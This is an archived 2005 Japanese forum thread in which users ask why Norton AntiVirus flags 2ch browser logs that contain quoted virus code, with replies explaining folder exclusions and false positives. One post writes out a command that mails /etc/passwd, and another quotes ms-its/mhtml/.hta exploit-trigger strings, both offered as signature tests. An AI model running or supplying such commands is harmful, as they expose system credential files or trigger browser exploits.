05/03/26 16:38:45 Yoan0Q7l
>>43
いや、間違えてないと思います。
なんか他のウイルスにも反応してる。。。Network.E。
50:ひよこ名無しさん
05/03/26 16:40:10
>>49
いやいや、間違えてるんだろ？
51:ひよこ名無しさん
05/03/26 16:43:50 Yoan0Q7l
>>50
いや、C\ProgramFiles\Live2ch\logになってるからあってると思います。
52:ひよこ名無しさん
05/03/26 16:48:03
i|!| |i┏┓! i!┏┳┓| |||i|!i| ||!i|| |||ii| ||| ||| |i||!|i│i!┏┓i!|
|i|┏┛┗━╋┻┛|i!||!|ii|| i|!i||i|┏━┓ ┏┓i|i| i┃┃i!|
i||┗┓┏┓┃||i┏━━┓┗━┛ ┃┃|i||!i┃┃i!|
|i |!|i┃┃┃┃i||┗━━┛|i|| || ||||!┃┃i|i| i┗┛!i|
i||i ||┃┃┃┃|! |||i ||i !|||!|┏━┛┃|i||!i┏┓i|!
|i!i |!┗┛┗┛i|!i| / | / | ┗━━┛i|i| i┗┛i!|
i| |||i|!i| ||!|i||i! /,_ ┴─/ ヽ |!i| ||| |i||!|i|i|||| ||i
|i|| ||i!i|| （_゜.,》.'(_゜,》)ﾐ ヽ ! | |!i||!|ii||!|ii|
i|ii / ,,_＿,ニ、、 ﾉ( | i|i!|i|
|i | Y~~/~y} ｀, ~ | そ、そんなー… |i
!. | ,k.,.,!,.,.,r| ,! く .!
i ／ <ニニニ'ノ ＼ ｌ
53:ひよこ名無しさん
05/03/26 16:54:31
>>51
除外に設定する時にサブフォルダも含めるにチェック入れた？
54:ひよこ名無しさん
05/03/26 17:05:16
ﾁﾝ ☆ ﾁﾝ ☆
ﾁﾝ ﾏﾁｸﾀﾋﾞﾚﾀ～ ﾁﾝ ♪
♪
♪ ☆ﾁﾝ .☆ ｼﾞｬｰﾝ！ ﾏﾁｸﾀﾋﾞﾚﾀ～!
☆ ﾁﾝ 〃 ∧＿∧ ヽ ／￣￣￣￣￣￣￣￣￣￣
ヽ ＿＿_＼（・∀・ #） ／＼＿／ ＜ うっかりさん51の報告まだ～？
ﾁﾝ ＼＿／⊂ つ ∥ ＼＿＿＿＿＿＿＿＿＿＿
／￣￣￣￣￣￣￣／| ∥ ﾏﾁｸﾀﾋﾞﾚﾀ～!
| ￣ ￣￣￣￣￣￣:| :| ／|＼
| |／
55:ひよこ名無しさん
05/03/26 17:07:33
もう戻ってきません。
56:ひよこ名無しさん
05/03/26 17:21:58 Yoan0Q7l
>>53
チェック入ってます。
57:ひよこ名無しさん
05/03/26 17:27:12
i|!| |i┏┓! i!┏┳┓| |||i|!i| ||!i|| |||ii| ||| ||| |i||!|i│i!┏┓i!|
|i|┏┛┗━╋┻┛|i!||!|ii|| i|!i||i|┏━┓ ┏┓i|i| i┃┃i!|
i||┗┓┏┓┃||i┏━━┓┗━┛ ┃┃|i||!i┃┃i!|
|i |!|i┃┃┃┃i||┗━━┛|i|| || ||||!┃┃i|i| i┗┛!i|
i||i ||┃┃┃┃|! |||i ||i !|||!|┏━┛┃|i||!i┏┓i|!
|i!i |!┗┛┗┛i|!i| / | / | ┗━━┛i|i| i┗┛i!|
i| |||i|!i| ||!|i||i! /,_ ┴─/ ヽ |!i| ||| |i||!|i|i|||| ||i
|i|| ||i!i|| （_゜.,》.'(_゜,》)ﾐ ヽ ! | |!i||!|ii||!|ii|
i|ii / ,,_＿,ニ、、 ﾉ( | i|i!|i|
|i | Y~~/~y} ｀, ~ | そ、そんなー… |i
!. | ,k.,.,!,.,.,r| ,! く .!
i ／ <ニニニ'ノ ＼ ｌ
58:ひよこ名無しさん
05/03/26 17:32:20
>>56 もうシマンテックに聞きなさい
59:ひよこ名無しさん
05/03/26 19:17:05 Yoan0Q7l
>>58
了解ｗ
ありがとうございました
60:ひよこ名無しさん
05/04/08 23:17:51 tNlrsDBu
画像板から誘導されてきました。
「2chブラウザのログ保存フォルダを「除外」に設定」
というのはどうやってやるんでしょうか？
壺を使ってます。
初心者すぎてすいません。どなたかよろしくお願いいたします。
61:ひよこ名無しさん
05/04/08 23:23:05
>>60
テンプレに書いてあるだろ
62:ひよこ名無しさん
05/04/09 00:06:17 Zkyvn8EZ
Norton Anti VirusのAuto-Protectと手動スキャンで壺フォルダを除外に指定しても、壺で閲覧中に反応します。
よくわかりません・・・orz
63:ひよこ名無しさん
05/04/09 00:07:00 tNlrsDBu
↑
６０です
64:ひよこ名無しさん
05/04/09 19:08:32 zr8Dnfd3
,:::-､ __
,,r::::::::::::〈:::::::::） ｨ::::::ヽ
〃::::::::::::;r‐''´:::::::::::::::::::::ヽ::ノ
,'::;'::::::::::::::/::::::::::::::::::::::::::::::::::::
l::::::::::::::::::ｌ::::::::::●::::::::::::::●:::::ｊi
|::::::::::::::::::、::::::::::::::( _●_)::::::,j:l クマー！
}::::::::::::::::::::ゝ、::::::::::|∪|_ノ::;!
. {::::::::::::::::::::::::::::`='=::ヽノ:::::/
';::::::::::::ﾄ､::::::::::::::i＾i::::::::::::/
｀ｰ--' ヽ:::::::::::ｌ l;;;;::::ノ
【ラッキーレス】
このレスを見た人はコピペでもいいので
10分以内に3つのスレへ貼り付けてください。
そうすれば１４日後好きな人から告白されるわ宝くじは当たるわ
出世しまくるわ体の悪い所全部治るわでえらい事です
65:ひよこ名無しさん
05/04/12 18:29:30
今まで書き込めなかったのはノートン先生の仕業だったのか
このスレのおかげで助かりました
66:ひよこ名無しさん
05/04/12 22:20:35 kw9rPCF2
マカフィーで反応
67:66
05/04/12 23:08:34 kw9rPCF2
駆除も削除も出来ないんだけどほっといていいのですか？
68:ひよこ名無しさん
05/04/18 19:11:29 PlotUVoz
>>66
自分もそうなるよ。
69:ひよこ名無しさん
05/04/18 22:19:38
すいません、ノートンAV2005なんですが、Janeのログを除外に設定したいんですが
AV2005のオプションを開いても「除外」っていう項目が無いのですけど
どうすれば設定できるのですか？
ご指導、お願い致します。
70:ひよこ名無しさん
05/04/19 00:47:01 9XxAkRTd
sagase
71:ひよこ名無しさん
05/04/22 15:13:49 ZNT0DAb6 BE:64317479-
大空寺あゆ親衛隊対策
（1）タスクトレイに入っているNorton AntiVirusのアイコンを右クリック
（2）「Norton AntiVirusの設定」をクリック
（3）左側にある「Auto-Protect」をクリック
（4）その下に出てきた「除外」をクリック
（5）「除外する項目」の「新規」をクリック
（6）「C:\Program Files\Live2ch\log」（Live2chの場合）と入力し、「サブフォルダも含める」にチェックを入れ、「OK」をクリック
（7）左側にある「Auto-Protect」をクリック
（8）（4）～（6）をもう一度繰り返す
（9）設定画面が消えるまで「OK」をクリックする
72:ひよこ名無しさん
05/04/22 19:25:55
∧ l'vﾍ
ﾊ ┌( ;/ ﾄ, ,、 rﾍ r'^ﾅrジ-z
__}ヽ,__ (ヽ/ス_r^フしz,り い)ｎ／ｲr～^′
'っヾ､r'__ |ﾚ'ノ_C'入彳勺ｿメろ_ｊ／し-,_
｀フ ヾ勹_| <_r' !|刀_｣r''>||／⌒(_rﾍ-‐'
＜_ゝし||ﾌぅ（ひzメ__ゝ'l !'そ
~zヾ|て ､l レ^ //'| |'~
| | ヽl｜ // }｜
| :! ｜| | | ,/ ,' すいません、ちょっと通りますよ
| :{. |｜ | |/ /
l !｜| | | /
ヽ ヽ.|/ //
_,r)_ j (_,( ciz
,ﾉこ_- __,ｰヽ ん|Zゥ ﾚz ｚjそ_
} ... 丿 ろ､,_!|乙7ﾑLそ/し-z
ﾉ""'' 一（ ｀う.l !シ/ア了//_⊂,
／､__ ヽ ^'| |~//,/_ソ ハr^
/ ...... ーl | |// /／ノ
/~"' ､＿_／ ,,,...} |/ /／／
{' _ `y′ 一 / r'～(_ノ
人 =/‐- ﾊ 丿" ''(
ヽ '' / __,, / / ‐- '''）
'∨ X. }''' ....ノ
j ー／ /== ノ'ヽ
/=‐ r'´-ヽ } ｰ/'''' {
,' _,, 人 ''"｀、 ﾉ.. '' ノ`ヽ ''"ヽ
{ー / ＼ -'} / ／ ＼'''}`
ﾊ 〈 ）八 （ ｆ )ﾊ
ヽ ） （( ）ﾉ ／
ﾉ／ '） _／
73:ひよこ名無しさん
05/04/24 20:15:37 P3pvijoD
ちゃんと2ch.netとAuto-Protectと手動スキャンで除外設定しましたが
VBS.Internalがしつこく警告ストロムしてきます
他に必要な手順はありますか？
74:ひよこ名無しさん
05/04/24 20:59:20 KLwGdhW7
>>72
ひわいな大根買い占める！ ﾊｲ!
(( (｀Д´) (｀Д´) ))
(/ /) (| |)
<￣< <￣<
ﾊｲ! ﾊｲ! ﾊｲ
(. ｀Д)_(Д´ )
ﾉ ﾉヽ | |>
ﾉ > < ヽ
ﾊｲ!
(. )_(｀Д´)ノ
ﾉ ﾉヽ |ﾍ |
ﾉ > <
ﾊｲ! ﾜｧｵ！
(゜∀゜)_(゜∀゜)ノ
ﾉ ﾉヽ |ﾍ |
ﾉﾉ <
あるある探検隊！
＿(Д´ ) ＿(Д´ )
ﾍ| |＼ ﾍ| |＼
< <
あるある探検隊！
( ｀Д)＿ ( ｀Д)＿
／| |ﾍ ／| |ﾍ
> >
75:ひよこ名無しさん
05/04/25 01:12:19
ウイルス対策ソフトの検出力調査結果
URLﾘﾝｸ(www.geocities.jp)
76:ひよこ名無しさん
05/04/27 04:32:31
ｽﾚﾘﾝｸ(anime板)の
>>17の奴のウイルスってどうやって除外するんですか？本気でむかつきます
77:ひよこ名無しさん
05/04/29 17:10:59 EryoL680
>>71
初心者はテンプレ読んでも何を言っているのかが分からなかったりするので
こういう細かい解説、感謝します。
っていうか大空寺死んで欲しい。(´･ω･`)
78:ひよこ名無しさん
05/04/29 18:11:53 xmX9upML
>>77
透明あぼーんで存在を消し去りましょう。スッキリするよ
79:ひよこ名無しさん
05/04/29 18:38:53 EryoL680
>>78
透明あぼーんではノートンの反応はおさまらなかったんです。
なにやらメール欄に変なものを書き込んでいるようで。
80:cen ◆Pm9xOTJuM.
05/04/29 18:42:27 BE:64394126-###
>>79
>>17のを使うと、メール欄のものでも消し去ります。
81:ひよこ名無しさん
05/04/29 18:44:17
>>79
>>71の手順でノートンの誤反応を解消し、専ブラの透明あぼーんで
糞コテやウイルス厨を見えなくするって意味。
分かりにくくてｽﾏｿ
82:ひよこ名無しさん
05/04/29 19:58:14 EryoL680
>>80
>>81
いろいろとありがとうございました。
あいつら（大空寺とかネオとか）どうにかならないもんですかね…
83:ひよこ名無しさん
05/05/01 13:50:58 beE/OXQq
XPにはNorton AntiVirusインストールできたのに、９８にはできない。
９８のウイルススキャン（無償）で感染ファイル３５ってでたけど
これをどうすればいいの？
84:ひよこ名無しさん
05/05/05 01:29:28
Live2chでUnixPenguinがうざい場合
（1）タスクトレイに入っているNorton AntiVirusのアイコンを右クリック
（2）「Norton AntiVirusの設定」をクリック
（3）左側にある「Auto-Protect」をクリック
（4）その下に出てきた「除外」をクリック
（5）「除外する項目」の「新規」をクリック
（6）「C:\Program Files\Live2ch\log」と入力し、「サブフォルダも含める」にチェックを入れ、「OK」をクリック
（6）「C:\Program Files\Live2ch\temp.htm」も追加する。
（7）左側にある「Auto-Protect」をクリック
（8）（4）～（6）をもう一度繰り返す
（9）設定画面が消えるまで「OK」をクリックする
85:cen ◆Pm9xOTJuM.
05/05/05 01:48:13 BE:128787146-##
あ、そうそう。
>>17のプログラムを更新しましたです。
86:ひよこ名無しさん
05/05/06 13:08:01
その他→脅威カテゴリでも「除外」が出てくるけどここは設定しなくていいの？
って、脅威カテゴリで何をしてくれるのかのかよくわからない。（NIS2005）
>>71 >>84
＞（7）左側にある「Auto-Protect」をクリック
（7）左側にある「手動スキャン」をクリック ・・・じゃないのかな。
87:ひよこ名無しさん
05/05/06 13:10:11
大体、「除外」する項目をAuto-Protectと手動スキャンで
分けている理由がわからない。NIS2002の設定は簡単だった。
88:ひよこ名無しさん
05/05/08 22:01:59
URLﾘﾝｸ(info.2ch.net)
89:ひよこ名無しさん
05/05/11 23:56:43 TkQmWlam
cat /etc/passwd | mail nobody
これが反応するのか？
90:ひよこ名無しさん
05/05/12 00:23:51
>>89
見事にUnixPenguinと判定してくれた
91:ひよこ名無しさん
05/05/13 19:15:33
f
92:ひよこ名無しさん
05/05/18 02:51:07 iHDhJttO
>>84
Live2chでUnixPenguinがうざい場合
IEでうざい場合はどうすればよろしいのでしょうか？？？？？
93:ひよこ名無しさん
05/05/18 02:53:32
>>92
IEで2ちゃん見るなよ。
94:ひよこ名無しさん
05/05/18 03:04:55 iHDhJttO
>>93
え？？？
ダメなんですか？？？
すみません・・・
初心者なもので・・・
詳しく教えていただけませんか・・・
95:ひよこ名無しさん
05/05/18 03:09:44
>>94
ダメじゃないけど、専用ブラウザのほうがずっと便利。
どこまで読んだかわかるし、ログはずっと残せるし、
新着分だけダウンロードするから速いし、軽いし。
96:ひよこ名無しさん
05/05/18 03:13:22 iHDhJttO
>>95
ありがとうございます。
勉強になりました。
今日はウイルスが出てかなりテンパりました（苦笑）
また明日からがんばります！
でしつこいんですが、
IEでうざい場合はどうすればよろしいのでしょうか？
97:ひよこ名無しさん
05/05/18 03:17:42
>>96
IEの一時フォルダを除外すれば警告は出なくなるが、
ほかのサイトで感染してしまう。
98:ひよこ名無しさん
05/05/22 02:22:35 GqakRWGu
勇気が無くて見られない画像解説スレ Part702
ｽﾚﾘﾝｸ(entrance板)
すいません、↑のスレッドをLive2chで開いただけで
発生源：C:\Documents and Settings\kousuke\Local Settings
\Temporary Internet Files\Content.IE5\MVAP076F\woid[1].jpg
Trojan Horse
とか出るんですけど、誤反応ですか？
vbsのウィルスコードと大空寺のメール蘭攻撃は
除外しているはずなんですが。
ありえないとは思いますがて開いただけで感染したんですか？
Trojan Horse
ウィルス名:
Trojan Horse
別名:
感染場所:
.EXE ファイル
99:ひよこ名無しさん
05/05/22 02:28:48
>>98
そのファイルはjpgじゃなくて、exeということらしい。
誤反応ではなくて、本物。
スレを開いただけでは感染しないけど、
その画像ファイルをIEで開くと感染する可能性がある。
100:98
05/05/22 02:46:42 GqakRWGu
>>99
おそらく原因のレスは
ｽﾚﾘﾝｸ(entrance板:899-番)
だと思いますが、これ画像そのものはクリックしてないんですが
ただスレッドを開いた瞬間ノートン先生が激しく怒ったｽ
ログを見ても
アクセスが拒否されました。
修復できませんでした。
としか出てません。
最新のウィルス定義ファイルを落とさないと駆除できないみたいですが、
これは最近のということでしょうか？
そして、今自分のPCにTemporary Internet Filesや
他の場所にウィルスが潜伏してるということはないんでしょうか？それを開くとアウツみたいな。
101:ひよこ名無しさん
05/05/22 02:49:13
>>100
そこの899だよ。
でも、ノートンが隔離してるはず。
そうでなくても、IEの一時ファイルをクリアして、ごみ箱を空にするだけでいい。
102:98
05/05/22 02:51:49 GqakRWGu
>>101
レスサンクス
この.jpgブラクラは最近登場したんでしょうか
これからまた誤反応する人とかいっぱいでるんでしょうか
103:ひよこ名無しさん
05/05/22 02:52:55
>>102
だから、誤反応じゃないって言ってるのに。
104:98
05/05/22 02:57:16 GqakRWGu
モノホン反応ですか、ノートン使ってる人は
反応でますよね？どうするんでしょうかこれ
105:98
05/05/22 03:04:15
あ、ノートン使ってても
画像ポップアップ有効にしてないと意味ないのか
106:ひよこ名無しさん
05/05/22 03:05:41
>>104
Q.画像プレビューや画像ポップアップでアンチウィルスソフトが反応する事がある
A.画像プレビューも画像ポップアップもイメージタグで表示するだけなので、
仮にそれがウイルスだったとしても、あくまで画像として処理され、
ウイルスのコードが実行される事はないので安全。気にする事なし。
107:98
05/05/22 03:06:20
>>106
サンクス、どうもでした(=ﾟωﾟ)ﾉｼｭ
108:ひよこ名無しさん
05/05/22 21:11:27 zQU5xhse
テスト
109:ひよこ名無しさん
05/05/23 00:27:44 C8+JokU/
ms-its:mhtml:file://c:\
kak.hta';ken=wdt'START
この二つに激しくノートンが反応するんですが
これも誤反応ですか？vbsとは違う種類みたいですが
110:ひよこ名無しさん
05/05/23 00:30:33
>>109
誤反応
ただの文字列では何も出来ない。
111:ひよこ名無しさん
05/05/23 00:38:46
>>110
sankusu
112:ひよこ名無しさん
05/05/23 00:39:33
>>109
113:ひよこ名無しさん
05/05/23 12:52:25
age
114:ひよこ名無しさん
05/05/23 21:27:57 AIqAZiI7
すみません。初心者スレッドから誘導されてきました。
このスレに来る時もそうでしたが、あるスレに行くと
ノートンが反応して「修復できません」と表示されます。
結果「Bloodhound.Exploit.6」を検疫することで
通常の状態に戻るようなのですが、
「Bloodhound.Exploit.6」ファイルを検疫項目の中から
右クリックで削除してもよいものでしょうか？
どなたか教えてください。お願いいたします。
115:ひよこ名無しさん
05/05/23 21:31:20
まず専ブラ入れれ
116:114
05/05/23 21:44:11 AIqAZiI7
>>115
はい。検討します。これ↓
「Bloodhound.Exploit.6」ファイルを検疫項目の中から
右クリックで削除してもよいものでしょうか？
についてはどうでしょうか？
117:ひよこ名無しさん
05/05/23 21:49:16
それはすべきじゃないから
専ブラ入れてからログのフォルダを除外設定にするのよ
このへんよめ
URLﾘﾝｸ(www.sannet.ne.jp)
118:114
05/05/23 22:07:32 AIqAZiI7
>>117
なるほど、そうですか。
どうもありがとうございました。
119:ひよこ名無しさん
05/05/24 11:39:34 xooP0kni
青空さんは山田砲撃たれたことないの
もういっぺん感染してほしいの
120:ﾉtasukeruyo
05/05/24 16:56:41 1JBRx0B0
>>117
>114と同様の警告がでます。
どういったウイルスなのでしょうか。
ｽﾚﾘﾝｸ(mog2板) >>4
で拾ったようなのですが
スレ違いだったらごめんなさい。
121:ひよこ名無しさん
05/05/24 16:59:06
>>120
URLﾘﾝｸ(www.google.co.jp)
122:120
05/05/24 17:00:31
専ブラはJane派生系使ってます
123:120
05/05/24 17:03:19
>>121
ありがとうございます。m(__)m
124:ひよこ名無しさん
05/05/25 00:18:25
先日脳豚先生が誤動作したんだけど、そんときに「Bloodhound.Exploit.6」
ってのが誤検出されたんだが、誤検出だっつってんのに
納得しないやからがいる。
どっかで↑みたいなのが検出されても誤動作だって
わかるように解説してるページない？
125:ひよこ名無しさん
05/05/25 00:22:44
>>1
126:ひよこ名無しさん
05/05/28 00:50:41 tmw7KRqu
UnixPenguinと言う名のウィルスが5/6に感染していた事が先ほどわかり
ファイルを削除 しかしパソを再起動したらそのファイルがありました
ファイルを削除したら普通消えるのでは？
5/6に感染してたって事は、20日以上気づかないで放置って事は・・・ﾔﾊﾞｲ？
127:ひよこ名無しさん
05/05/28 00:52:54
>>126
まさか「誤反応」の意味がわからない？
128:ひよこ名無しさん
05/05/28 00:55:51 tmw7KRqu
誤反応？？？まじで？
アタッマきたんでまたファイル消したら完全にファイル消えたよｗ
129:ひよこ名無しさん
05/05/29 11:51:31
(･∀･)ｽﾝｽﾝｽｰﾝ♪
130:ひよこ名無しさん
05/05/29 11:55:12
( ﾟдﾟ)ﾊｯ!
131:ひよこ名無しさん
05/05/30 14:53:36
とあるスレを見ようとするとノートン先生が反応します。
ウィルス「MHTML Redir.Exploit」
実害は無い感じなので
反応したと思われるlogを削除しただけですが
これもまた誤反応なのでしょうか？
132:ひよこ名無しさん
05/05/30 14:59:34
ちなみにギコなびを使っています。
133:ひよこ名無しさん
05/05/30 18:45:45
失礼します。
IEを使用していますが、板や特定スレを開くとウイルス反応がでます。
削除しようとしても削除できないため、除外しておいていますが
問題はないんでしょうか？
削除も検疫など有効と思われることが出来ないのでしょうがなく
除外している状態です。上の方で削除のことがでてますが削除しないと問題ありますか。
134:ひよこ名無しさん
05/05/30 23:34:04
>>133
多分ウイルスに似たコードを載せている為にウイルスと誤認識して反応しているだけですよ。
135:ひよこ名無しさん
05/05/30 23:36:25
なんだか>>40と同じ症状です。
症状というのは【Unix Penguin】というウイルスコードが最近になって反応するようになりました。
専ブラのフォルダはサブフォルダ含めてAuto-Protectと手動スキャンの除外項目に確実に入っています。
その為、その場所は反応しないのですが一時ファイル（キャッシュ）の場所が反応しています。
一時フォルダも除外指定すれば簡単なんですけど、他のサイト閲覧する時とか
安置ウイルスの役割してくれないらしいので除外したくありません。
今まで一時ファイルは反応しなかったのに今更反応するのが、どうしてなのか分かりません。
専ブラはJANE使用。Norton AntiVirusは10.0.10.13ｇバージョン使用。
因みにOSはXPのHOMEです。アドバイスおねがいします。
136:ひよこ名無しさん
05/05/31 10:18:11
>>134
レスありがとうございます。
Auto-Protectでひっかかるんですが>>39を読むと除外でも
問題なさそうですね・・・？大丈夫かな。
ただ>>135を読むと除外もよくないみたいでどうしたらいいのかとも思う。
137:名無しさん＠お腹いぱーい。
05/05/31 12:22:06 BE:1886843-#
>>135
> なんだか>>40と同じ症状です。
> 症状というのは【Unix Penguin】というウイルスコードが最近になって反応するようになりました。
> 専ブラのフォルダはサブフォルダ含めてAuto-Protectと手動スキャンの除外項目に確実に入っています。
スレッドタイトルに反応したんじゃないかな。
URLﾘﾝｸ(info.2ch.net)
Janeの場合はfavorites.dat
ε三（; ･∀･）鯖ﾏﾃﾞｵﾂｶｲの場合result.datを除外に加えてね。
> その為、その場所は反応しないのですが一時ファイル（キャッシュ）の場所が反応しています。
> 一時フォルダも除外指定すれば簡単なんですけど、他のサイト閲覧する時とか
> 安置ウイルスの役割してくれないらしいので除外したくありません。
> 今まで一時ファイルは反応しなかったのに今更反応するのが、どうしてなのか分かりません。
> 専ブラはJANE使用。Norton AntiVirusは10.0.10.13ｇバージョン使用。
> 因みにOSはXPのHOMEです。アドバイスおねがいします。
ブラウザでスレを開いたんじゃないかな。
>>10で一時ファイルの削除の仕方があるので見てね。
>>136
IEの一時ファイルを除外にしないで
2ちゃんねるブラウザのログフォルダを除外にしてください。
>>135>>136
2ちゃんねるブラウザのより細かい設定はそれぞれの2ちゃんねるブラウザのスレで確認してね。
ソフトウェア
URLﾘﾝｸ(pc8.2ch.net)
138:ひよこ名無しさん
05/05/31 19:09:47 Smprwa5o
初歩的な質問なんですが教えてもらえませんか？
何故ノートンだけが反応するんですか？
ノートンで反応したファイルを消さず、ウィルスバスターに反応するか試しましたが、反応なしでした。
【Unix Penguin】は、ウィルスなんですよね？
なのに何故・・・？
139:ひよこ名無しさん
05/05/31 19:18:29
先生はよく間違えますが本物を逃すこともありません
140:ひよこ名無しさん
05/05/31 19:20:25
>>138
ノートﾝは、ごく一部の文字列がファイルに含まれてるだけでウイルスと診断してるから。
判定の手抜きと言っていい。
もちろん、２ちゃんのログがウイルスとして機能する可能性は皆無。
141:138
05/06/01 22:06:01 9OpZge8m
>>140
レスありがとう
それにしてもこんなイタズラいったい誰が・・・
142:ひよこ名無しさん
05/06/01 22:49:26
>>131
まったく同じような症状がでます。
自分はブラウザをjaneを使っているんですが、
ノートンのオンラインスキャンをすると、
C:...\openjanedoe-0.1.11.0\Logs\2ch\ネット関係\セキュリティ\数字.dat は
MHTMLRedir.Exploit に感染しています
と出ます。何度やっても。
これは感染しているのか？それとも誤反応なのか？
物凄い不安です。ノートン以外では反応しないので。
143:cen ◆Pm9xOTJuM.
05/06/01 23:47:27 BE:144884693-##
>>142
>>17のでdatのスクリプトを無効化してみるといいかもです。
144:ひよこ名無しさん
05/06/04 14:57:06 BE:83962548-##
除外をログフォルダだけじゃなく、C\ProgramFile\Live2chにしたんだけど
危険かなぁー。
145:ひよこ名無しさん
05/06/04 15:13:05
>>144
ログだけにしといた方がいい
146:ひよこ名無しさん
05/06/07 21:55:56
わぁ、それらしいレスの内容をメモ帳に貼り付けて保存した瞬間、ノートン先生に持ってかれちゃったよぅ！
147:ひよこ名無しさん
05/06/08 10:11:07
URLﾘﾝｸ(www.uploda.org)
148:ひよこ名無しさん
05/06/08 10:11:48
147誤爆ですごめんなさい
149:ひよこ名無しさん
05/06/08 22:39:06
age
150:ひよこ名無しさん
05/06/09 06:32:01 /DokQMWm
ノートパソコンなんですが、キーボードの隙間にゴミが入ってキーが押しにくくなって困る
151:ひよこ名無しさん
05/06/09 22:09:48 c+f8GHIp
パソコンの電源入れると最初にseeqという検索サイトが出る
ようになっちまいました。以前はMSNだったんですけど、昔の体に
戻れますか？戻し方教えてください
152:ひよこ名無しさん
05/06/09 22:24:05
>>151
スレ違いだけど、システムの復元で直前の日付に戻せ。
153:ひよこ名無しさん
05/06/09 22:45:34 c+f8GHIp
スレ違いですか、すみません。パソコン初心者なん
システムの復元ってどうやるんですか？
154:ひよこ名無しさん
05/06/09 22:46:44
>>153
URLﾘﾝｸ(www.google.co.jp)
155:ひよこ名無しさん
05/06/09 22:48:38
ありがとうございます がｍばってみます
156:ひよこ名無しさん
05/06/09 22:51:53
最近また急激に増えたな。
ウイルスバスターloveのやつらのしわざか？
157:１５１
05/06/09 22:54:18
ＯＳが２０００なんですけど… 復元できないみたいです
158:ひよこ名無しさん
05/06/09 22:55:26
>>157
リカバリしろ
159:１５１
05/06/09 22:58:46
リカバリってお金出して修理みたいですね…
160:ひよこ名無しさん
05/06/09 22:59:32
>>159
自分でできる。取扱説明書を150回嫁
161:１５１
05/06/09 23:02:46
読みます！
最近外国のサイトの広告みたいのが表示されることがあって…
リカバリでその辺も治りますか？
162:ひよこ名無しさん
05/06/09 23:09:30
>>161
直る
163:ひよこ名無しさん
05/06/09 23:09:42
>>161
基本的には、リカバリで買った時と同じ状態になる。
従って、データは全部消えるので、気をつけて。
164:１５１
05/06/09 23:14:51
ありがとうございました！
今度はデータのバックアップについて勉強しないといけなそうですね。
ちなみに何の広告なんですかねこれ↓
URLﾘﾝｸ(adserver.sharewareonline.com)
ダウンロードしろって感じで頻繁に表示されるんです
165:ひよこ名無しさん
05/06/10 19:44:30 Z3xy6uEy
スミマセン。他のスレから誘導されてきました。
ＶＩＰ板をリロードすると毎回ノートン先生がウイルス警告してくるんですがなぜですか？
ウイルス名 Bloodhound.Exploit.6
適用した処理 ファイルを修復できません。
と出てＯＫを押した後に
ウイルス名 Bloodhound.Exploit.6
適用した処理 ファイルへのアクセスが拒否されました。
とでます。
ＶＩＰ以外の板ではこのような警告は出ません。ノートンは2005年の新しいやつです。
ウイルススキャンしてみましたが問題ありませんでした。
ＯＳはＸＰです。
よろしくです。
166:ひよこ名無しさん
05/06/10 20:58:43
このスレの最初のへん読めばわかるよ
167:１６５
05/06/12 02:06:13 CFzaInzJ
>>166
あの。。。いろいろみましたけど専門用語ばかりでよくわかりません。
半年ROMはすでに経験墨です。
できたら詳細も教えていただきたいのですが。
168:ひよこ名無しさん
05/06/12 02:08:54
>>167
ノートン捨てるんだ。
169:ひよこ名無しさん
05/06/12 14:33:06
>>167
>7
170:１６５
05/06/12 14:54:46 Yt6W8JkL
普通に感染されてました。。。
検疫というのをしたら問題のファイルがどっかいったみたいです。
171:ひよこ名無しさん
05/06/13 00:20:19 vyhhOQ6i
ｽﾚﾘﾝｸ(ascii板)
ここのウイルスコードで出来たスレタイをクリックしてから、
すべての板で書き込むたびに誤作動をおこします・・・・
それでここへたどりついたのですが、
＞NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
これって具体的にどうすればいいのでしょうか？
・オートプロテクト
・除外
・除外する項目
とまでは出来たのですが、最後の「除外する項目」に何かを入れるのですか？
それとも項目を削除するのですか？
何を入れたらいいのか、何を削除すればいいのか教えてください・・・。
今現在の項目はこの３つです
*.dbx
*.nch
*.sysutem volume information
ライブ２ちゃん使用です。
172:ひよこ名無しさん
05/06/13 00:22:19
>>171
ログのあるフォルダーのバスを追加する
173:ひよこ名無しさん
05/06/13 00:25:28 vyhhOQ6i
>>172
よければ手順を・・・・まったく意味が分かりません・・・・
174:ひよこ名無しさん
05/06/13 01:00:06 vyhhOQ6i
>>7を参考に、
Cドライブ→ﾌﾟﾛｸﾞﾗﾑ→ライブ２ちゃん→ログ
とういう感じでログをノートンの除外に選択したら、半角板を開いただけでノートンが反応することはなくなりました。
しかし、すべての板で書き込むたびにノートンが反応するっていうのは直りません。
どうすればいいですか？
175:ひよこ名無しさん
05/06/13 01:04:12 vyhhOQ6i
「kakikomi」というのも除外に選択したらなおりました。おさがわせいたしました。
176:ひよこ名無しさん
05/06/13 01:53:23 vyhhOQ6i
半角を踏んだらウイルス反応（誤作動）する方へ
専用ﾌﾞﾗｳｻﾞlive2chとﾉｰﾄﾝを使ってる方へ
ｽﾚﾘﾝｸ(ascii板)
177:名無しさん＠お腹いぱーい。
05/06/13 15:14:46 ZBKBALPS BE:3772883-##
てす
178:名無しさん＠お腹いぱーい。
05/06/13 16:16:31 BE:9903997-##
>>171-176
乙
ノートントラップ
URLﾘﾝｸ(ansitu.xrea.jp)
Ｑ8．２ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか？
URLﾘﾝｸ(ansitu.xrea.jp)
※スレタイがノートントラップのスレに書き込んだ場合、書き込み履歴も反応します。
2chWikiは申請中。
179:ひよこ名無しさん
05/06/13 21:20:42 IDZd2XHn
乙
180:ひよこ名無しさん
05/06/13 21:42:48 +eHKR6hW
ノートンがvbsウィルスのソースに誤反応、
ってスレタイにもあるけど、ビューア経由でも反応するんですか？
スレによっては、IEと使い分けてるんですが、ビューアで開いた時に
限って怒られるんです・・・。
181:ひよこ名無しさん
05/06/13 21:44:03
ノートン捨てちゃえ
182:ひよこ名無しさん
05/06/13 21:49:48
>>175
ウイルスを書き込んだのですか、ああ、そうですか。
183:180
05/06/13 21:55:46
>>176
ご回答ありがとうございます！助かりました（←大馬鹿）！
184:ひよこ名無しさん
05/06/14 15:17:13
>>170
詳しく。
漏れも同じ症状でビビってる。
185:ひよこ名無しさん
05/06/14 15:43:32
>>184
>>178
186:ひよこ名無しさん
05/06/15 07:07:41 MyWTZaCo
祭り中でーすｗ
URLﾘﾝｸ(www.bonotto.jp)
韓国の小学生が描いた絵
ｽﾚﾘﾝｸ(korea板)
187:縞んてっく
05/06/15 09:22:16
